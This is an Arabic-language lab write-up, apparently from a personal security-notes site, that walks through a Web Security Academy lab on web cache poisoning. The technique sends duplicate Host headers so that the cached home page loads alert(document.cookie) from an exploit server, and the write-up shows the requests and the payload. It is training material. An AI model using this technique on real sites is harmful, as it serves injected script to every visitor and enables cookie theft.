> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/host-header/web-cache-poisoning-via-ambiguous-requests.md).

# تسميم ذاكرة التخزين المؤقت للويب عبر طلبات غامضة

### تسميم ذاكرة التخزين المؤقت للويب عبر الطلبات المبهمة

**وصف المختبر**

هذا المعمل عرضةً لـ **تسميم ذاكرة التخزين المؤقت للويب** بسبب الاختلافات في كيفية **نظام ذاكرة التخزين المؤقت** و **الخادم الخلفي** تفسير الطلبات المبهمة. / يزور مستخدم شرعي الصفحة الرئيسية للموقع بانتظام.

\*\*الهدف:\*\*/ تسميم ذاكرة التخزين المؤقت بحيث تعمل الصفحة الرئيسية `alert(document.cookie)` في متصفح الضحية.

**الملاحظة الأولية**

* تتضمن استجابات HTTP ترويسة تشير إلى عمر ذاكرة تخزين مؤقت يبلغ 30 ثانية\*\* (`Age: 30`)، مما يؤكد استخدام آلية تخزين مؤقت.
* يختلف سلوك الخادم بحسب بنية الطلب، خاصةً عند `Host` الترويسة.

<figure><img src="/files/1d91de022b5d4fc7bf00da446394e0277180171c" alt=""><figcaption></figcaption></figure>

**اختبار باستخدام Host غير صالح**

تغيير `Host` الترويسة إلى قيمة غير موجودة:

```http
Host: wfwfkowf.com
```

الاستجابة المُعادة هي خطأ انتهاء مهلة البوابة، مما يشير إلى أن الخادم يحاول حل هذه القيمة:

{% code overflow="wrap" %}

```html
<html>
    <head>
        <title>
            خطأ في الخادم: انتهاء مهلة البوابة
        </title>
    </head>
    <body>
        <h1>
            خطأ في الخادم: انتهاء مهلة البوابة (1) عند الاتصال بـ wfwfkowf.com
        </h1>
    </body>
</html>
```

{% endcode %}

هذا الأسلوب محظور، وبالتالي لا يمكن استغلاله مباشرةً

<figure><img src="/files/18bc9fa1b854e1b1c2dfdcad8c743cb58d03294f" alt=""><figcaption></figcaption></figure>

**استخدام ترويستي Host**

إرسال **اثنتين `Host` من الترويسات في نفس الطلب**:

```http
Host: 0a7600890341e19d80ad0d880001003c.h1-web-security-academy.net
Host: test.com
```

* يرد التطبيق بشكل طبيعي.
* قيمة **الترويسة الثانية Host** تنعكس في المورد المحمّل من جهة العميل (مثلًا في `src` السمة).

<figure><img src="/files/51963770636c12a6bb7fc7e380703f885a894f9b" alt=""><figcaption></figcaption></figure>

يكشف هذا عن \*\*تفسير\*\* غير متسق بين ذاكرة التخزين المؤقت والخادم الخلفي

**إعداد الحمولة**

على الخادم التشغيلي، يتم إنشاء ملف JavaScript:

/resources/js/tracking.js

المحتوى:

```javascript
alert(document.cookie);
```

<figure><img src="/files/f0ed296fc29e3e4a93e50b1130057c2f9f0e062d" alt=""><figcaption></figcaption></figure>

**تسميم ذاكرة التخزين المؤقت**

يتم إرسال طلب جديد مع اثنتين من `Host` الترويسات، والثانية تشير إلى الخادم التشغيلي:

```http
Host: 0a7600890341e19d80ad0d880001003c.h1-web-security-academy.net
Host: exploit-0a78008803c6e19880480c08010e0021.exploit-server.net
```

* يقبل الخادم الخلفي الطلب.
* تسجّل ذاكرة التخزين المؤقت الاستجابة المسمومة.

<figure><img src="/files/db9a99f4aa0436c269771cf843fa68adef8a0be0" alt=""><figcaption></figcaption></figure>

تشير الصفحة الرئيسية الآن إلى برنامج JavaScript النصي المستضاف على خادم المهاجم.

<figure><img src="/files/953502ae49fdddf7b76389c9fec3695f3af23993" alt="" width="545"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/host-header/web-cache-poisoning-via-ambiguous-requests.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
